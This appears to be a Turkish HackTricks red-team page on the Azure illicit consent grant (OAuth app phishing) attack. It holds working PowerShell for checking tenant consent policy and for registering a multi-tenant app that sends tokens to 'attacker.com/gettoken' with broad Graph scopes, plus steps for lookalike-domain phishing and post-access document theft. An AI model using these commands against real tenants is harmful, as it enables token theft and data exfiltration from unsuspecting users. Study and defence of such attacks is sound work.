Az - Illicit Consent Grant

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

OAuth Uygulama Balıkçılığı

Azure Uygulamaları, kullanıcı verilerine erişim izni istemektedir (temel bilgilerin yanı sıra belgelere erişim, e-posta gönderme...). İzin verildiğinde, normal bir kullanıcı sadece "Düşük Etki" izinleri için onay verebilir. Diğer tüm durumlarda, yönetici onayı gereklidir. GA, ApplicationAdministrator, CloudApplication Administrator ve uygulamalara izin verme izni verme içeren özel bir rol, kiracı genelinde onay verebilir.

Yalnızca yönetici onayı gerektirmeyen izinler "düşük etki" olarak sınıflandırılır. Bunlar, temel oturum açma için gerekli izinler olan openid, profile, email, User.Read ve offline_access izinleridir. Bir kuruluş, tüm uygulamalar için kullanıcı onayına izin verirse, bir çalışan bir uygulamaya profilinden yukarıdakileri okuma izni verebilir.

Bu nedenle, bir saldırgan zararlı bir Uygulama hazırlayabilir ve bir balıkçılık ile kullanıcının Uygulamayı kabul etmesini ve verilerini çalmasını sağlayabilir.

2 Tür Yasadışı Onay Verme Saldırısı

  • Kimlik Doğrulama Gerektirmeyen: Harici bir hesaptan, örneğin User.Read ve User.ReadBasic.All izinleriyle bir uygulama oluşturun, bir kullanıcıyı balıklayın ve dizin bilgilerine erişebilirsiniz.

  • Bu, balıkçılık yapılan kullanıcının harici ortamlardan OAuth uygulamalarını kabul edebilmesini gerektirir!

  • Kimlik Doğrulamalı: Yeterli ayrıcalıklara sahip bir başlık ele geçirdikten sonra, hesap içinde bir uygulama oluşturun ve ayrıcalıklı OAuth izinlerini kabul edebilecek ayrıcalıklı bir kullanıcıyı balıklayın.

  • Bu durumda zaten dizin bilgilerine erişebilirsiniz, bu nedenle User.ReadBasic.All izni artık ilginç değildir.

  • Yönetici onayı gerektiren izinler muhtemelen sizi ilgilendirir, çünkü ham kullanıcılar OAuth uygulamalarına herhangi bir izin veremez, bu yüzden yalnızca bu kullanıcıları balıkçılık yapmanız gerekir (bu ayrıcalığı kimin verdiği hakkında daha fazla bilgi için)

Kullanıcıların onay verebilme yetkisini kontrol etme

Azure Active Directory (Azure AD) kullanıcılarının uygulamalara onay verebilme yetkisi hakkında onay yapılandırmasını kontrol etmek için aşağıdaki PowerShell komutu kullanılır:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
  • Kullanıcı onayını devre dışı bırak: Bu ayar, kullanıcıların uygulamalara izin vermesini engeller. Kullanıcıların hiçbir uygulamaya onay vermesine izin verilmez.

  • Kullanıcılar doğrulanmış yayıncılardan veya kuruluşunuzdan uygulamalara onay verebilir, ancak yalnızca seçtiğiniz izinler için: Bu ayar, tüm kullanıcıların yalnızca doğrulanmış bir yayıncı tarafından yayınlanan ve kendi kiracınıza kayıtlı uygulamalara onay vermesine izin verir. Belirli izinler için yalnızca onay verilmesine izin vererek bir kontrol katmanı ekler.

  • Kullanıcılar tüm uygulamalara onay verebilir: Bu ayar daha esnek olup, tüm kullanıcıların, bu izinlerin yönetimsel onay gerektirmediği sürece, herhangi bir uygulama için herhangi bir izne onay vermesine izin verir.

  • Özel uygulama onay politikası: Bu ayar, belirli kurumsal gereksinimlere uyarlanabilen özel bir politikanın uygulandığını gösterir ve uygulama yayıncısına, uygulamanın talep ettiği izinlere ve diğer faktörlere dayalı kısıtlamaların bir kombinasyonunu içerebilir.

Kötü Niyetli Onay Verme Saldırısını Anlama

Kötü niyetli onay verme saldırısında, saldırganlar son kullanıcıları, Azure'a kayıtlı kötü niyetli bir uygulamaya izin vermesi için kandırırlar. Bunun için uygulamanın meşru görünmesini sağlayarak, kurbanları "Kabul Et" düğmesine bilmeyerek tıklamalarını sağlarlar. Sonuç olarak, Azure AD, saldırganın sitesine bir belirteç verir ve böylece kurbanın verilerine (örneğin e-postaları okuma veya gönderme, dosyalara erişme) kurumsal bir hesap olmadan erişmelerine izin verir.

Saldırı Akışı Genel Bakışı

Saldırı, genel bir şirketi hedef alan birkaç adımı içerir. İşte nasıl gerçekleşebileceği:

  1. Alan Kaydı ve Uygulama Barındırma: Saldırgan, güvenilir bir siteyi andıran bir alan kaydeder, örneğin "güvenlialangirisi.com". Bu alan altında, kötü niyetli uygulamayı barındırmak için bir alt alan oluşturulur (örneğin, "firmadiniz.güvenlialangirisi.com").

  2. Azure AD'de Uygulama Kaydı: Saldırgan daha sonra Azure AD Kiracısında Çok Kiracılı Uygulama kaydeder ve meşru görünmek için hedef şirketin adını verir. Uygulamanın Yönlendirme URL'sini, kötü niyetli uygulamayı barındıran alt alanı işaret etmek üzere yapılandırır.

  3. İzinleri Ayarlama: Saldırgan, uygulamayı çeşitli API izinleriyle (örneğin, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read) yapılandırır. Bu izinler, kullanıcı tarafından verildiğinde, saldırganın kullanıcı adına hassas bilgileri çekmesine olanak tanır.

  4. Kötü Niyetli Bağlantıları Dağıtma: Saldırgan, kötü niyetli uygulamanın istemci kimliğini içeren bir bağlantı oluşturur ve hedeflenen kullanıcılara paylaşarak, onları onaya zorlar.

Saldırı İçin Araçları Kullanma

Saldırı, 365-Stealer gibi araçlar kullanılarak kolaylaştırılabilir.

Saldırı Öncesi Hazırlık:

Saldırganın, kurban organizasyondaki bir kullanıcıda belirli bir düzeyde erişimi varsa, organizasyonun politikasının kullanıcının uygulamaları kabul etmesine izin verip vermediğini kontrol edebilir.

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Saldırıyı gerçekleştirmek için, saldırganın Azure Kiracısında Yeni Bir Uygulama (Uygulama kayıtları içinde) oluşturması gerekecektir, aşağıdaki izinlerle yapılandırılmış:

User.ReadBasic.All, Delegated permissions içinde Microsoft Graph içindedir. (Uygulama izinleri her zaman ek onay gerektirecektir).

  • User.ReadBasic.All, verildiğinde organizasyondaki tüm kullanıcıların bilgilerini okumanıza izin verecek olan izindir.

  • Yalnızca GA, ApplicationAdministrator, CloudApplication Administrator ve uygulamalara izin verme iznine sahip özel bir rol içeren roller, kiracı genelinde onay sağlayabilir. Bu nedenle, bir Yönetici onayı gerektiren Uygulamayı onaylaması için bir kullanıcıyı balık tutmalısınız.

Ayrıca, aşağıdaki komut satırı aracılığıyla bir Uygulama oluşturabilirsiniz:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

https://www.alteredsecurity.com/post/introduction-to-365-stealer adresine giderek nasıl yapılandırılacağını öğrenin.

Elde edilen erişim belirtecinin, istenen izinler olan User.Read ve User.ReadBasic.All kapsamına sahip graph uç noktası için olacağını unutmayın. Diğer işlemleri gerçekleştiremeyeceksiniz (ancak bu izinler, org içindeki tüm kullanıcılar hakkında bilgi indirmek için yeterlidir).

Bu saldırıyı gerçekleştirmek için bu aracı da kullanabilirsiniz.

Saldırı Sonrası

Kullanıcıya erişim sağladıktan sonra hassas belgeleri çalabilir ve hatta geri kapı eklenmiş belge dosyalarını yükleyebilirsiniz.

Referanslar

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks' i desteklemenin diğer yolları:

Last updated